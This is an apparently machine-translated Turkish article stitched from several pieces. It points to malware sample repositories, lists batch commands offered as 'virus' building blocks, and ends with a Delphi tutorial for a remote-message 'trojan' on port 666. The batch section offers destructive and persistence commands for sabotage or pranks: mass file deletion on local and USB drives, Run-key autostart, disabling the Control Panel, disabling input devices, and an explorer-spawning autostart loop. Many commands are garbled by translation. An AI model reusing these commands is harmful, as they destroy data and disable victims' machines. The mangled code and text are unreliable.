Truva dolandırıcısı. Kaynak kodlu virüs örnekleri

Virüs örnekleri nereden indirilir kaynak kodu ve ayrıntılı açıklama?

Güncel bir virüs koleksiyonu bulmak ve hatta daha fazlasını bir açıklama ve kaynak koduyla bulmak kolay bir iş değildir. Analiz ve çalışma için nerede olduğunu zaten söyledik. Bugün size bulabileceğiniz ve indirebileceğiniz başka bir kaynaktan bahsedeceğim, ancak bu sefer sadece ağda bulunan kötü amaçlı yazılımlar değil, yürütülebilir dosyalar ve Ayrıntılı bilgi içeren virüs kaynakları.

Bu makalede, her türlü truva atı, botnet, hırsız, solucan vb. kaynak kodunun dünyasına dalmanızı öneren birkaç ilginç proje hakkında bilgi edineceksiniz.

  • Önsöz
  • Virüs kaynakları
  • Hayvanat bahçesi projesi
  • Kötü Amaçlı Yazılım Projesi

Neden ve kim virüs örneklerine ihtiyaç duyabilir?

Kötü amaçlı yazılımlar tarafından kullanılan teknolojileri analiz etmek, sistemdeki virüslerin davranışını incelemek (izleme) için yürütülebilir dosyalara ve virüs kaynaklarına ihtiyaç duyulabilir. dosya sistemi, süreçler, ) ve antivirüs testi. Anti-virüs şirketlerinin çalışanları, yeni bir virüsün kaynağını elde etmek için para ödemeye hazır.

Virüs indirmek yasal mı?

Virüs örneklerini incelemek ve analiz etmek için bilgisayarınıza indirebilirsiniz, ancak bunları dağıtamaz ve başkalarına bulaştıramazsınız. Bununla ilgili daha fazla bilgi, Rusya Federasyonu Ceza Kanunu'nun 273. maddesinde.

Bu projelerin amacı, virüsten koruma şirketlerinden uzmanlara ve virüs analiziyle ilgilenen kişilere kötü amaçlı kötü amaçlı yazılım kodunun tasarımı hakkında bir anlayış kazandırmaktır.

Dikkat! İndirilen dosyaların çalışan virüsler olduğunu unutmayın. Bazıları bilgisayarınıza bulaşmaya çalışacaktır. İndirilen dosyaları asla ana bilgisayarda çalıştırmayın. Ayrıca, kötü amaçlı yazılım analizi hakkında fazla bilgi sahibi olmadan virüs örneklerini indirmenizi de önermiyorum.

Her halükarda www.site sitesi, sizin ve başkalarının bilgisayarlarına vereceğiniz zararlardan sorumlu değildir.

kullanmanızı şiddetle tavsiye ederim. Sanal makinede yayılmaya ve tükenmeye çalışacak kötü niyetli solucanları unutmayın. Bundan kaçınmak için, hepsini devre dışı bırakmanızı tavsiye ederim. misafir eklemeleri Sanal makineler, ağ erişimi vb. Bunu nasıl yapacağınızı yukarıdaki linkten öğrenebilirsiniz.

Virüs Kaynakları: TheZoo Projesi

İncelemeye, hayvanat bahçesi olarak tercüme edilen Hayvanat Bahçesi projesiyle başlayalım (yazarlar mizah konusunda gayet iyi). Githab deposunda bulunur.

Projenin amacı, virüs çalışmalarını erişilebilir kılmaktır. Yazarlar virüs veritabanını toplar ve günceller. TheZoo ile popüler kötü amaçlı yazılım örneklerine erişebilirsiniz.

Virüs Örnekleri: TheZoo Projesi

Hem yürütülebilir dosya hem de kaynak kodu indirme ve inceleme için sunulur.

Hayvanat Bahçesi nasıl kullanılır?

Zoo projesini farklı şekillerde kullanabilirsiniz: doğrudan siteden veya çerçeveyi kullanarak. Her iki yönteme de bakacağız. İlkiyle başlayalım.

Böylece siteye gidiyoruz ve birkaç dizin ve dosya görüyoruz.

Yürütülebilir virüs dosyaları dizinde bulunur:

theZoo/kötü amaçlı yazılımlar/İkili dosyalar/

İçinde yürütülebilir virüs dosyasını bulacaksınız. Her bir kötü amaçlı yazılım için 4 dosya içeren ayrı bir dizin vardır: kötü amaçlı yazılımın kendisi bir ZIP arşivinde şifrelenmiş biçimde, SHA256 ve MD5 - karşılaştırma için arşiv sağlama toplamları ve şifreli arşiv için bir parola.


Yürütülebilir Virüs Dosyaları: Androrat Truva Atı

Virüslerin kaynak kodu dizinde bulunur:

theZoo/kötü amaçlı yazılımlar/Kaynak/Orijinal/

Her dizin dört benzer dosya içerir. Her şey yürütülebilir dosyalarla aynıdır.


Virüs kaynakları: Trojan Dendroid

Her bir örnek için yardım vardır, ancak yardımı kullanmak için çerçeveyi yüklemeniz gerekir.

Zoo çerçevesini kurmak için şu komutu kullanın:

git klonu https://github.com/ytisf/theZoo

Gereksinimler: urllib2, python3

Komutlar: arama, kullanma, alma, bilgi, tüm listeleme, rapor-mal, güncelleme-db, çıkış. Yardım komutuyla komutlar hakkında daha fazla bilgi edinin.

Yani, bu proje çözüldüğünde, şimdi başka bir tane düşünün.

Virüs Örnekleri: Kötü Amaçlı Yazılım Projesi

Kötü Amaçlı Yazılım projesi de Githab'da barındırılıyor. Virüs seçimi, hayvanat bahçesindeki kadar büyük değil, daha sık güncelleniyor. Az sayıda kötü amaçlı program arasında truva atları, botnet'ler, fidye yazılımları, parola hırsızları ve diğer güzelliklerin kaynaklarını bulabilirsiniz.

İşte bugünün listesi:

  • Alina Kıvılcım (Troyan)
  • Bleeding Life 2 (Expolit paketi)
  • Carberp (Botnet)
  • Carberp (Bankacılık Truva Atı)
  • Crimepack 3.1.3 (İstismar paketi)
  • Dendroid (Android için Truva atı)
  • Dexter v2 (Trojan)
  • Eda2, Stolich, Win32.Stolich (Fidye Yazılımı)
  • FlexiSpy (Casus Yazılım)
  • (Çerçeve)
  • GMBot (Android Truva Atı)
  • Gozi-ISFB - (Bankacılık Truva Atı)
  • Grum (Spam botu)
  • Hacking Team RCS()
  • Gizli Gözyaşı (Fıratçı)
  • KINS (Bankacılık Truva Atı)
  • Mirai (Nesnelerin İnterneti Botnet)
  • Pony 2.0 (Şifre hırsızı)
  • PowerLoader (Botnet)
  • RIG Ön Uç (İstismar paketi)
  • Rovnix (Önyükleme Seti)
  • Tinba (Bankacılık Truva Atı)
  • TinyNuke (Bankacılık Truva Atı)
  • Trochilus, Kırmızı Yapraklar (RAT)
  • Zeus (Bankacılık Truva Atı)

Virüs Kaynak Kodu: Kötü Amaçlı Yazılım Projesi

Örneğin Alina Trojan klasörüne gidelim. Burada, aralarında kaynak kodların bulunduğu birkaç dizin sunulmaktadır. Buna ek olarak, yazarlar en altta kötü amaçlı yazılımlarla ilgili bilgilere bağlantılar eklediler.

işte komut satırı
assoc .exe=.mp3-yöneticileri müzik etiketi olarak çalışır E: pridurok-vidayı moron saatine değiştirir 00:00 -zamanı değiştirir
tarih 13.03.36-tarihi değiştir assoc .lnk=.txt-txt dosyasındaki kısayolları değiştir %0 F:\Work.bat-copy nesnesini kopyala

1) Bir USB flash sürücüden (takılıysa) dosyaları silmek ve yeniden adlandırmak için bir program.
del F:\ *.* /q
etiket F:HACK
2) Bir bilgisayarda tarih ve saati değiştirmek ve bunu C diskine ve bir USB flash sürücüye kopyalamak için bir program.
zaman 14:13
tarih 11.07.12
%0 C:\Time.bat'ı kopyala
%0 F:\Time.bat dosyasını kopyala
----------
>nul - satır komutunu gizle
%SystemRoot%/system32/rundll32 user32, SwapMouseButton - fare düğmelerini değiştirir
---------------
""%0"" "%SystemRoot%\system32\File.bat" dosyasını kopyalayın
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f ekleyin
kayıt ekle HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
Çok acımasız bir komut: İşletim sistemi başlangıcına bir program ekler.
"del x:\y *.* /q" - y klasöründeki (klasörler hariç) x diskindeki tüm dosyaları siler (örnek del F:\Data*.* /q);
"net user "x" / add" - bilgisayara x adı altında bir kullanıcı ekler (örnek net user "Smoked" / add);
Virüsümüzün başında girilen "@echo off" her şeyi gizler
rundll32 user,disableoemlayer - sistem çökmesi (!) - tüm G/Ç işlevlerini (klavye, ekran, fare) devre dışı bırakır. Sonuç, imleç ve yanıt vermeyen bir sistem içeren siyah bir ekran olacaktır, ancak Windows çalışmaya devam eder.
del *.* /q (bu komutu çalıştırdıktan sonra, virüsün başlatıldığı klasörde bulunan klasörler dışındaki tüm dosyalar silinecektir!!!
md 1 - klasörler oluştur
sırasında bir dosyayı çalıştırmak için Windows önyüklemesi, dosyayı Autoexec.bat olarak yeniden adlandırın
Echo Virus Loading - ekrandaki virüs lodin yazısı
del c:Program Files/q (bu klasördeki tüm dosyaları siler)
reg - kayıt defteriyle doğrudan çalışma. Kayıt /? herkes!
rcp - dosyaları rcp üzerinden ascii'ye paylaşın
runas - kullanıcı adına
görev listesi - Onunla ilişkili uygulamaları ve oturumları görüntüler.
Taskkill - bir veya daha fazla işlemi öldürmenize izin verir
tftp - önemsiz ftp
tskill - bir işlemi öldür
reg - kayıt defteri ile etkileşim için yardımcı program
bootcfg - boot.ini ayarı
ekle - açmanıza izin verir silinen dosyalar sanki şu anki durumdalar.
getmac - mac'i al
oturum kapatma - Son kullanıcı oturumu.
mem - RAM'deki mevcut işlemler hakkında bilgi görüntüler
mqbkup - arşivleme
net - ??
openfiles - açık dosyaları görüntüleyin.
rsh - rsh çalıştıran uzak ana bilgisayarlarda komutları yürütün
sc - komut satırı
rexec - komutları rexec çalıştıran uzak ana bilgisayarlarda yürütün
kapatma - yerel veya uzak bilgisayarı kapatın (hehe).
systeminfo - bilgisayar hakkında çıktı bilgisi.
schtasks bir görev zamanlayıcıdır.
xcopy - dosya ve dizinleri kopyalayın.
tsshutdn - sunucuyu zamanında kapatın.
set - cmd.exe ortam değişkenlerini görüntüleyin, ayarlayın ve kaldırın. Sistem özellikleri (pr.kn. "bilgisayarım") - ayrıca - Ortam değişkenleri. Tüm değişkenler değil, birçok var! İzlenecek her şey sadece bir set.
Bu arada, toplu iş dosyaları oluştururken kullanılabilecek bazı RunDLL komutları.

rundll32 kullanıcısı,wnetdisconnectdialog
Kapatma penceresi ağ sürücüsü" Telefon etmek

rundll32 kullanıcısı,disableoemlayer
başarısız kışkırtmak

rundll32 kullanıcısı, ekranı yeniden boya
Güncelle (as)

rundll32 kullanıcısı, setcursorpos
Maus-İmleç soldan üste, bitkiye

rundll32 diskkopya,DiskCopyRunDll
pencere " Diski Kopyala"aramak

rundll32 rnaui.dll,RnaWizard /1
"Bağlantı kurulumu" iletişim kutusu açık (/1 = pencere yok)

rundll32 kabuk,shellexecute
Kök dizinde açık Explorer-Window

rundll32 shell32,OpenAs_RunDLL
“Birlikte aç…” penceresi aç***

rundll32 shell32,SHFormatDrive
“Biçimlendirme: Disk3.5(A)” penceresini çağırın

rundll32 shell32,ShellAboutA
Bilgi Kutusu (Windows hakkında) çağrısı

rundll32 shell32,SHExitWindowsEx 0
Windows 98 yeniden başlatma (autoexec.bat vb. olmadan)

rundll32 shell32,SHExitWindowsEx 1
Windows 98 ile çalışmayı bitirin

rundll32 shell32,SHExitWindowsEx 2
Windows-98-PC önyüklemesi

rundll32 shell32,SHExitWindowsEx -1
Windows-98-Explorer yeniden başlatma

rundll32 shell32,Control_RunDLL
"Denetim Masası" penceresini açın

rundll32 shell32,Control_RunDLL desk.cpl
“Görüntüleme Özellikleri”ni açın

rundll32 shell32,Control_RunDLL ana.cpl
MAIN.CPL'den Modül Panellerini Açın **

rundll32 krnl386.exe, çıkış çekirdeği
herhangi bir mesaj/soru olmadan Windows'tan çıkın

rundll32 kullanıcısı, takas düğmesi
Fare tuşlarını “yeniden düzenleyin” *

rundll32 klavye, devre dışı bırak
"Devre dışı bırak" klavye py *

rundll32 fare, devre dışı bırak
Fareyi "Devre Dışı Bırak" *

rundll rnaui.dll,RnaDial "sağlayıcı"
“Sağlayıcı” adıyla “Bağlantı kurulumu” penceresini arayın

rundll32 kullanıcısı, tilechildwindows
simge durumuna küçültülmemiş tüm pencereleri yukarıdan aşağıya sıralayın

rundll32 kullanıcısı,cascadechildwindows
simge durumuna küçültülmemiş tüm pencereleri basamaklandır

rundll32 sysdm.cpl,InstallDevice_Rundll
(yalnızca W98'deki seçenek) Tak ve Çalıştır olmayan donanımı kurun

rundll32 msprint2.dll,RUNDLL_PrintTestPage
görünen menüden yazıcıyı seçin ve ona bir test gönderin

rundll32 kullanıcısı, setcaretblinktime
yeni bir imleç yanıp sönme frekansı ayarlayın *

rundll32 kullanıcısı, setdoubleclicktime
yeni çift dokunma hızını ayarla *

rundll32 setupx.dll,InstallHinfSection
Varsayılan Kurulum 130; C:\dosya.inf
pencere “Sistemi yeniden başlatın. Şimdi üret? ъ Evet/hayır ъ” ****

ASSOC - Dosya uzantısı ilişkilerini görüntüler veya değiştirir
AT - Bilgisayarda yürütülecek komutları ve programları zamanlar.
ATTRIB - Bir dosyanın özniteliklerini görüntüler veya değiştirir.
BREAK - Kombinasyon kontrolünü ayarlar veya iptal eder.
CACLS - Dosyalar için erişim kontrol listelerini (ACL'ler) görüntüler veya değiştirir.
CALL - Bir *.BAT dosyasını diğerinden çağırır.
CD - Geçerli dizinin adını görüntüler veya adını değiştirir.
CHCP - Etkin kod sayfa numarasını görüntüler veya ayarlar.
CHDIR - Geçerli dizinin adını görüntüler veya adını değiştirir.
CHKDSK - Diski kontrol eder ve bir durum raporu görüntüler.
CLS - Ekranı temizler.
CMD - Yorumlayıcının yeni bir örneğini başlatır Windows komutları NT.
RENK - Konsolun ön planı ve arka planı için varsayılan renkleri ayarlar.
KOMUT - Windows komut yorumlayıcısının yeni bir kopyasını başlatır.
COMP - İki dosyanın veya dosya ayarının içeriğini karşılaştırır.
COMPACT - Windows NT(NTFS) patrisyenlerinde dosya sıkıştırmasını görüntüler veya değiştirir.
CONVERT - FAT birimlerini dosya formatına dönüştürür Windows sistemleri NT(NTFS). Geçerli diski dönüştüremezsiniz.
KOPYALA - Bir veya daha fazla dosya başka bir yere.
CTTY - Sisteminizi kontrol etmek için kullanılan terminal aygıtını değiştirir.
TARİH - Tarihi görüntüler veya ayarlar.
DEL - Bir veya daha fazla dosyayı silin.
DEBUG - Hata ayıklama, program testi ve araç düzenleme işlemlerini gerçekleştirir.
DIR - Bir dizindeki dosya ve alt dizinlerin listesini görüntüler.
DISKCOMP - İki disketin içeriğini karşılaştırır.
DISKCOPY - Bir disketin içeriğini diğerine kopyalar.
DOSKEY - Düzenleme komut satırları, Windows komutlarını geri yükler ve bir makro oluşturur.
ECHO - Mesajları görüntüler veya komut çıktısını etkinleştirir/devre dışı bırakır.
EMM386 - EMM386 genişletilmiş bellek desteğini etkinleştirir/devre dışı bırakır.
ENDLOCAL - Değişikliklerin yerelleştirilmesini sonlandır Çevre*.BAT dosyasında.
ERASE - Bir veya daha fazla dosyayı siler.
EXIT - Program yürütmeyi sonlandırır (komut yorumlayıcısı).
ÖZÜ - CAB - dosyalarından bilgi çıkarmak için bir araç.
FC - İki dosyayı veya dosya ayarını karşılaştırır ve aralarındaki farkı görüntüler.
BUL - Bir dosyada veya dosyalarda bir metin dizesi arar.
FINDSTR - Dosyalardaki dizeleri bulun.
FOR - Bir dizi dosyadaki her dosya için belirtilen komutu yürütür.
FORMAT - Windows ile kullanım için bir sürücüyü biçimlendirir.
FTYPE - Uzantı bağlantılarında kullanılan dosya türlerini görüntüler veya değiştirir.
GOTO Windows NT komut yorumlayıcısını *.BAT dosyasındaki işaretli bir satıra yönlendirir.
GRAFTABL - Windows'un grafik modunda eklenen sözde grafik karakterleri görüntüleme yeteneği.
YARDIM - Windows komutları için Yardım bilgileri sağlar.
EĞER - *.BAT dosyasındaki bir koşulun işlenmesini gerçekleştirir.
KEYB - Verilen dil için klavyeyi yapılandırır.
LABEL - Diskte birim etiketi oluşturur, değiştirir veya siler.
LOADHIGH(LH) - Programı yüksek bellek adreslerine yükler.
MD - Bir dizin oluşturur.
MEM - Sisteminizde kullanılan ve boş bellek miktarını görüntüler.
MKDIR - Bir dizin oluşturur.
MOD - Sistem cihazını yapılandırır.
DAHA - Çıktıyı her seferinde bir ekran görüntüler.
TAŞI - Bir veya daha fazla dosyayı aynı diskteki bir dizinden diğerine taşır.
NETSTAT - Protokol istatistiklerini ve mevcut durumu görüntüler ağ bağlantıları TCP/IP.
NLSFUNC - Ülkeye özel bilgileri yükler.
PATH - Yürütülebilir dosyalar için arama yolunu görüntüler veya ayarlar.
DURAKLAT - *.BAT dosyası işlemeyi duraklatır ve bir mesaj görüntüler.
POPD - Geri Yüklemeler önceki değer PUSHD tarafından kaydedilen geçerli dizin.
YAZDIR - Bir metin dosyası yazdırır.
İSTE - Windows komutlarının istemini değiştirir.
PUSHD - Geçerli dizini kaydeder, sonra değiştirir.
RD - Bir dizini siler.
KURTARMA - Bozuk veya bozuk bir diskten okunabilir bilgileri kurtarır.
REM - *.BAT dosyalarına veya CONFIG.SYS'ye yorumlar (notlar) yazar.
REN - Bir dosyayı veya dosyaları yeniden adlandırın.
RENAME - Bir dosyayı veya dosyaları yeniden adlandırın.
DEĞİŞTİR - Dosyaları değiştirir.
RESTORE - BACKUP komutu kullanılarak yedeklenmiş dosyaları geri yükler.
RMDIR - Bir dizini kaldırır.
SET - Windows ortam değişkenlerini görüntüler, ayarlar veya kaldırır.
SETLOCAL - *.BAT dosyasındaki ortam değişikliklerinin yerelleştirilmesini başlatın.
SETVER - Windows'un programa söylediği MS-DOS sürüm numarasını ayarlar.
SHIFT - *.BAT dosyasında değiştirilen parametrelerin konumunu değiştirir.
SMARTDRV - Önbelleğe alma yardımcı programını kurar ve yapılandırır AKILLI sürücü- sürmek.
SIRALA - Giriş akışını sıralar.
BAŞLAT - Yürütme için ayrı bir pencere başlatır belirtilen program veya komutlar.
SUBST Yolu bir sürücü harfiyle ilişkilendirir.
SYS - MS-DOS sistem dosyalarını ve komut yorumlayıcısını belirttiğiniz sürücüye kopyalar.
TIME - Sistem saatini görüntüler veya ayarlar.
TITLE - Oturum için pencere başlığını ayarlar.
AĞAÇ - Bir sürücü veya yoldaki bir dizinin yapısını grafik olarak görüntüler.
TÜR - Bir metin dosyasının içeriğini görüntüler.
VER - Windows sürümünü görüntüler.
DOĞRULA - Windows'a dosyaların diske doğru yazılıp yazılmadığını kontrol etmesini söyler.
VOL - Disk birim etiketini ve seri numarasını görüntüler.
XCOPY - Dosyaları ve dizin ağaçlarını kopyalar.

Peki, Windows'u "öldürmek" istiyorsanız, o zaman:
@Eko kapalı
gezgini başlat
gezgini başlat
gezgini başlat
explorer'ı başlatın - 100 kez daha tekrarlayın ve otomatik yüklemeye ayarlayın.

“Sunucu-İstemci Programlarının” nasıl yazıldığını ve gerçek bir örnek üzerinde nasıl çalıştığını merak ediyorsanız, yazıyı sonuna kadar okumanızı tavsiye ederim. İlginç olacak!

Delphi'de örnek bir program yazmaya karar verdim! Çünkü daha basit ve küçük ama gerçek bir örnek için çok uygundur. Yukarıda bahsettiğim müthiş "" kelimesine gelince, burada gerçekten gerçek bir Truva olduğu ortaya çıkıyor, ancak küçük ve zararsız bir işlevselliğe sahip.

Yazmayı öğreneceksin" ve içeriden nasıl çalıştıkları! Ancak, Truva atlarının yazmadığı bir "AMA" vardır, çünkü - bu aşağıda açıklanacaktır. Çünkü bizim örneğimizde, sunucu» programın bir kısmı çok ağır olacak ( Bu gerçek bir Truva atı için kabul edilemez.) ve sistemde gizlemeyeceğiz. Gerçekte, "Kötü Amaçlı Yazılım", işler biraz farklıdır.

Programın sunucu bölümünü küçük bir boyutta, yani yaklaşık “100 KB” Artı - eksi biraz KB ile geliştirmeye çalışıyorlar. Ve bunu sistemde saklıyorlar, araması uzun sürecek diye!...

Ama her şey yolunda, gelişme ilkesi aynı! Ve bu örnek, programların “Sunucu-İstemci” ilkesine göre nasıl çalıştığını anlamak için idealdir.Sadece bir truva atı geliştirmek için doğru tona sahip değiliz, ancak buna ihtiyacımız var mı? Sağ. HAYIR!!! Biz iyi adamlarız ve holiganlara gitmeyeceğiz!

"Sunucu - İstemci" ilkesine göre programlar nasıl çalışır?

Basitçe ve özet olarak, resim şuna benzer: Koşarsınız “ müşteri"programın bir parçası, kural olarak, bir "GUI", yani bir kullanıcı arayüzüne sahiptir (istemci bir konsol değilse)

Erişmek istediğiniz bilgisayarda, " sunucu»programın bir parçası olarak, başkasının bilgisayarında da belirli bir portu açar ve sistemde görünmez.

Bağlantılar bu port üzerinden yapılır, istemcide sunucunun çalıştığı bilgisayarın portunu ve IP adresini belirtir, sunucuya bağlanır ve bilgisayarınızdan başkasının bilgisayarında bazı işlemleri güvenle gerçekleştirebilirsiniz! Ayrıca bir önceki yazımı okuyabilir ve şunları öğrenebilirsiniz:

Umarım burada anlatabilmişimdir, anlaşılır ve basit bir insan diliyle görünmektedir! Bir şey net değilse, o zaman bir örnekle her şey netleşecek! Ardından, küçük Truva atımızın çalışması sonucunda uzak PC'de hangi işlemlerin gerçekleştirileceğine karar verelim!

Bu örnek programdaki işlevsellik nedir Sunucu - İstemci.

Açıkçası bu aşamada ne göstersem diye düşünürken bir an tereddüt ettim ve aklıma ilginç bir şey gelmedi! Genel olarak, bir olasılıktan ve ürkütücü derecede basit bir işlevsellik olsun:

— Kullanıcı mesajınızı alacaktır.

Başka özellikler eklemek için bir neden göremiyorum. Çünkü, bunun bir örnek ve anlaşılması için oldukça yeterli olduğunu düşünüyorum. Ayrıca bence çok fazla kod yazmamalısın, aşağıdakiler sadece programa içeriden bakman yeterli!

Ve mesajın herhangi bir yer olabileceği yer için, Truva atı yazmaya karar veren kişinin hayal gücüne ve programlama konusundaki bilgisine bağlıdır.

Peki, böyle bir şakamız olacak! Bilgisayar başında oturan bir kişi aniden bir mesaj alır, örneğin

« Merhaba, bilgisayarınızın etrafında dolaşıyorum»

insan tepkisini hayal edebiliyor musunuz? Bence komik, onun ifadesini görmek olurdu!!!

Programın "Sunucu - İstemci" ilkesine göre geliştirilmesi

Gelelim işin eğlenceli kısmına! Ve geliştirme ile başlayacağız “ sunucular» ve sonra bunun için bir müşteri yazın! Programın kodunu açıklamayacağım, sadece örnekler vereceğim, ancak bir programlama blogum yok ve yazının amacı, “Sunucu-İstemci” türünde bu tür programları geliştirme sürecini aşamalı olarak göstermektir.

Sunucu Geliştirme!

Başlangıçta, gelecekte "İstemci" den bağlanabilmek için "Sunucuya" bilgisayarda bir bağlantı noktası açmayı öğretmeniz gerekir ve bundan sonra size komutları kabul etmeyi ve bazı eylemler gerçekleştirmeyi öğreteceğiz. bilgisayar.

Aşağıdaki kodla portu açalım ki bu çok basit:

Delphi/Pascal

prosedür TForm1.FormCreate(Gönderen: TObject); ServerSocket1.Port'u başlat:= 666; ServerSocket1.Active:= doğru; son;

prosedür TForm1 . FormCreate(Gönderen : TObject ) ;

başlamak

SunucuSoket1 . Bağlantı Noktası :=666 ;

SunucuSoket1 . aktif :=doğru ;

son ;

Şimdi, programı çalıştırırsanız, herhangi bir düğme ve diğer öğeler olmadan basit, boş bir pencere görünecektir. Ve en önemlisi, bilgisayarda "666" numaralı bir bağlantı noktası açılacak, bu bağlantı noktasında gelecekte sunucuya komutlar göndereceğiz ve sırayla onları işleyecek.

Bu arada sunucunun çalıştığından ve portun açık olduğundan emin olun, “netstat” komutunu hatırlayın ve sonuca bakın.

Bilgisayarda gördüğümüz gibi, programımızın başlatılması nedeniyle gerçekten “666” numaralı port açıldı.Bu sadece bir jant diyor, program çalışıyor ve artık öğretme zamanı” sunucu» bir mesaj alın.

Delphi/Pascal

prosedür TForm1.ServerSocket1ClientRead(Gönderen: TObject; Soket: TCustomWinSocket); varcomm:dize; komm:=socket.ReceiveText'i başlatın; eğer copy(komm,1,12) = "MESSAGE_TEXT" ise Sil(komm, 1, 12); gösterMesaj(komm); son; son;

prosedür TForm1 . ServerSocket1ClientRead(Gönderen : TObject ;

Soket: TCustomWinSocket);

kom:dize

Başlamak

kom := soket. Metin Al ;

eğer kopyala (komm , 1 , 12) ="MESSAGE_TEXT" ise

başlamak

Sil(komm , 1 , 12 ) ;

ShowMessage(iletişim);

son ;

son ;

İşte işler şöyle! Sunucu "MESSAGE_TEXT" adında bir komut alırsa ( isim herhangi biri olabilir) ardından “ShowMessage” prosedürü çalışacak ve komutla birlikte gelen ve “komm” dize değişkeninde saklanan mesajı gösterecektir.

Buna göre, mesajın metni yazılacaktır " müşteri» ve herhangi bir içerik olabilir!

Diğer konularda, bu gelişme üzerine " sunucu» kısım tamamlandı. Sonuç olarak, dosyayı aldık " server.exe” ve biz yazana kadar şimdilik bir kenara koyun” Müşteri»

Müşteri geliştirme!

Açık nedenlerden dolayı sahip olacağımız istemci, bir grafik kullanıcı arayüzüne (GUI) sahip olacak ve kontrollere, düğmelere ve giriş alanlarına sahip olmalıdır. Bu tür bir programım var:

Tüm unsurlara dikkat edelim! Açık olmasına rağmen, dedikleri gibi, her ihtimale karşı açıklayacağım.

IP: Sunucunun çalıştığı IP bilgisayarına girilecek alanlar.
Liman: Sunucunun takılacağı bağlantı noktası numarasını belirtin.
- Bağlamak: Sunucuya bağlanmak için buton.
- SMS: Gönderilecek mesaj için giriş alanı.
- Bir mesaj göndermek…: Sırasıyla bir mesaj göndermek için bir düğme.
- Bağlantı durumu: Burada bağlı olup olmadığımızı öğreneceğiz!

Delphi/Pascal

prosedür TForm1.Button1Click(Gönderen: TObject); ClientSocket.Host'u başlatın:= IP.Text; ClientSocket.Port:= StrToInt(Port.Text); ClientSocket.Open; son;

prosedür TForm1 . Button1Click (Gönderen: TObject);

başlamak

ClientSocket . Ana bilgisayar :=IP . Metin;

ClientSocket . Bağlantı Noktası: =StrToInt (Bağlantı Noktası. Metin);

ClientSocket . açık;

son ;

Şu anda zaten programı çalıştırabilir ve " sunucu” ama bağlı olsun ya da olmasın sonucu bilemeyeceğiz. Kontrol etmeden önce bunu düzelteceğiz ve programa bağlantının sonucunu göstermesini öğreteceğiz.

Delphi/Pascal

prosedür TForm1.ClientSocketConnect(Gönderen: TObject; Soket: TCustomWinSocket); start Label4.Caption:= ("Şuna bağlanabilir: " + IP.Text); Label4.Font.Color:= clGreen; son;

Ve tüm akımların sunucuya bağlanamaması durumunda, örneğin " sunucu” uzak bilgisayarda çalışmıyor ve buna bağlı olarak “666” bağlantı noktası kapalı.

Delphi/Pascal

Prosedür TForm1.ClientSocketError(Gönderen: TObject; Soket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); ErrorCode = 10061 ise başlayın, ardından ClientSocket.Active:= False; Label4.Font.Color:= clRed; Label4.Caption:= ("Bağlanamadı:" + IP.Text); HataKodu:= 0; son; son;

prosedür TForm1 . ClientSocketError (Gönderen: TObject; Soket: TCustomWinSocket;

ErrorEvent : TErrorEvent ; var ErrorCode : Tamsayı);

başlamak

Hata Kodu =10061 ise

başlamak

ClientSocket . Aktif :=Yanlış ;

etiket4 . yazı tipi. Renk :=clKırmızı ;

etiket4 . Altyazı :=( "Şuraya bağlanılamadı:"+IP. Metin);

HataKodu :=0 ;

son ;

son ;

Şimdi programın nasıl çalıştığını görelim. Başlangıç ​​olarak, istemciyi başlatıyoruz, ancak sunucuyu başlatmıyoruz, bağlanacağına dair bir mesajla gösterilip gösterilmeyeceğini kontrol etmek için mümkün değildi.